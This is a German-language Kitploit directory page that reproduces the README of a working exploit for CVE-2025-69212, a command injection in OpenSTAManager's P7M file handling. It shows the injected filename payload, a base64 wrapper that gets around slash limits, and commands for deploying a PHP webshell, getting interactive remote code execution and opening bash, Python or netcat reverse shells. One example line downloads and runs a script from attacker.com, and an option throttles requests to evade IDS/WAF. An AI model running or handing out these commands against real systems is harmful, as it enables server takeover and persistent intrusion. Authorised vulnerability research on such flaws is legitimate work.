Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-69212-PoC — OpenSTAManager v2.9.8 und frühere Versionen enthalten eine kritische OS Command Injection-Schwachstelle in der Funktion zum Dekodieren von P7M-Dateien (signiertes XML). | Kitploit
Tools/GitHubGitHub/bridgeralderson/cve-2025-69212-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHub
bridgeralderson/cve-2025-69212-poc

CVE-2025-69212-PoC

OpenSTAManager v2.9.8 und frühere Versionen enthalten eine kritische OS Command Injection-Schwachstelle in der Funktion zum Dekodieren von P7M-Dateien (signiertes XML).

Repository anzeigen
3111vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-69212

OpenSTAManager <= 2.9.8 — OS-Befehlseinschleusung in der P7M-Dateiverarbeitung

Übersicht

FeldDetails
CVE-IDCVE-2025-69212
SchweregradKRITISCH (CVSS 4.0: 9.4)
CWECWE-78: OS-Befehlseinschleusung
Betroffene VersionenOpenSTAManager <= 2.9.8
Anfällige FunktionXML::decodeP7M() in src/Util/XML.php
AngriffsvektorBöswilliger Dateiname in hochgeladenem ZIP-Archiv
AuthentifizierungErforderlich (jeder Benutzer mit Importberechtigung für Rechnungen)
AuswirkungVollständige Remote-Codeausführung als Webserver-Benutzer

Details zur Sicherheitslücke

OpenSTAManager v2.9.8 und frühere Versionen enthalten eine kritische OS-Befehlseinschleusung-Sicherheitslücke in der Funktion zum Decodieren von P7M-Dateien (signierte XML). Die Methode decodeP7M() in src/Util/XML.php übergibt benutzergesteuerte Dateinamen direkt an die PHP-Funktion exec() ohne Sanitisierung, sodass authentifizierte Angreifer beliebige Systembefehle auf dem Server ausführen können.

Ursache

// src/Util/XML.php:100
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $output_file = $directory.'/'.basename($file, '.p7m');

    exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}

Der Parameter $file – der aus Dateinamen innerhalb hochgeladener ZIP-Archive stammt – wird in doppelte Anführungszeichen gesetzt, aber niemals mit escapeshellarg() gesäubert. Ein Angreifer kann einen .p7m-Dateinamen erstellen, der den doppelten Anführungszeichenkontext verlässt und beliebige Shell-Befehle einschleust.

Einstiegspunkte

  1. plugins/importFE_ZIP/actions.php:126 — Primärer Vektor bei der Verarbeitung von ZIP-Uploads mit elektronischen Rechnungen
  2. plugins/importFE/src/FatturaElettronica.php:56 — Konstruktor, der einzelne .p7m-Dateien verarbeitet

Funktionen

FunktionBeschreibung
--checkÜberprüft, ob das Ziel verwundbar ist (erstellt und prüft eine Markierungsdatei)
--webshellStellt eine PHP-Webshell mittels OS-Befehlseinschleusung bereit
--rceInteraktive Befehlsausführung über die bereitgestellte Webshell
--reverse-shellLöst eine Reverse Shell aus (Python, nc, nc-e-Methoden)
--cmdBlinde Befehlsausführung (Feuer-und-Vergiss)
--shell-dirBenutzerdefiniertes Webshell-Schreibverzeichnis
--methodAuswahl der Reverse-Shell-Methode
--proxyHTTP-Proxy-Unterstützung (Burp Suite)
--delayAnforderungsdrosselung zur IDS/WAF-Umgehung
Auto-ErkennungAutomatische Erkennung der importFE_ZIP-Modul-/Plugin-IDs

Installation

git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests

Verwendung

Authentifizierung

# Login with credentials
python3 exploit.py -t http://target.com -u admin -p secret --check

# Use existing session cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check

Schwachstellenprüfung

# Auto-detect plugin and verify vulnerability
python3 exploit.py -t http://target.com -u admin -p secret --check

# With known module/plugin IDs
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23

Webshell-Bereitstellung

# Deploy webshell to default directory (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# Custom directory and filename
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php

Interaktive RCE

# Deploy webshell + interactive shell
python3 exploit.py -t http://target.com -u admin -p secret --rce

# With existing webshell from previous run
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce

Reverse Shell

# Bash reverse shell (default, very reliable)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444

# Python reverse shell
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python

# Netcat with mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc

# Netcat with -e flag
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e

Blinde Befehlsausführung

# Execute a command (no output returned)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"

# Download and execute a payload
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"

Netzwerkoptionen

# Through Burp Suite proxy
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080

# With request delay (2 seconds)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2

# Skip SSL verification
python3 exploit.py -t https://target.com -u admin -p secret --check -k

Vollständige Referenz der Optionen

Target:
  -t, --target           Basis-URL des Ziels

Authentication:
  -u, --user             Benutzername für die Anmeldung
  -p, --password         Passwort für die Anmeldung
  -c, --cookie           Vorhandener PHPSESSID-Wert

Actions:
  --check                Überprüfen, ob das Ziel verwundbar ist
  --webshell             PHP-Webshell bereitstellen
  --rce                  Interaktive Shell über Webshell
  --reverse-shell        Reverse Shell (LHOST LPORT)
  --cmd COMMAND          Blinde Befehlsausführung

Shell Options:
  --shell-dir DIR        Webshell-Schreibverzeichnis (Standard: files)
  --shell-name NAME      Benutzerdefinierter Webshell-Dateiname
  --method METHOD        Reverse-Shell-Methode: bash, python, nc, nc-e

Plugin Detection:
  --module-id ID         OpenSTAManager-Modul-ID
  --plugin-id ID         importFE_ZIP-Plugin-ID

Network:
  --proxy URL            HTTP-Proxy-URL
  -k, --no-ssl-verify    SSL-Überprüfung deaktivieren
  --delay SECONDS        Verzögerung zwischen Anfragen

Technische Details

Payload-Struktur

Der Exploit erstellt ein ZIP-Archiv, das eine einzelne .p7m-Datei mit einem bösartigen Dateinamen enthält:

invoice.p7m";INJECTED_COMMAND;echo ".p7m

Wenn OpenSTAManager diese Datei verarbeitet, wird der resultierende exec()-Aufruf zu:

openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."

Die Shell interpretiert die Semikolons als Befehls­trennzeichen und führt den eingeschleusten Befehl zwischen dem beendeten openssl-Aufruf und dem nachfolgenden echo aus.

Einschränkung des Dateinamens im ZipArchive

Kritisch: PHP’s ZipArchive::extractTo() behandelt Schrägstriche (/) in Dateinamen gemäß der ZIP-Spezifikation als Verzeichnis­trennzeichen. Jedes / im bösartigen Dateinamen führt dazu, dass der Archiveintrag in Verzeichnisse aufgeteilt wird, wodurch die Exploit-Payload zerstört wird.

Alle eingeschleusten Befehle müssen / vollständig vermeiden. Um diese Einschränkung vollständig zu umgehen und zu verhindern, dass PHP exec() hängt (was Server-Arbeitsprozesse blockieren und Zeitüberschreitungen verursachen kann), verpackt der Exploit nun Payloads automatisch in Base64 und führt sie im Hintergrund aus:

echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &

Dies erlaubt es uns, / innerhalb der inneren Payload (z. B. /dev/tcp/10.10.14.5/4444) auf natürliche Weise zu verwenden, ohne die ZIP-Struktur zu beschädigen.

Reverse-Shell-Methoden

Tool herunterladen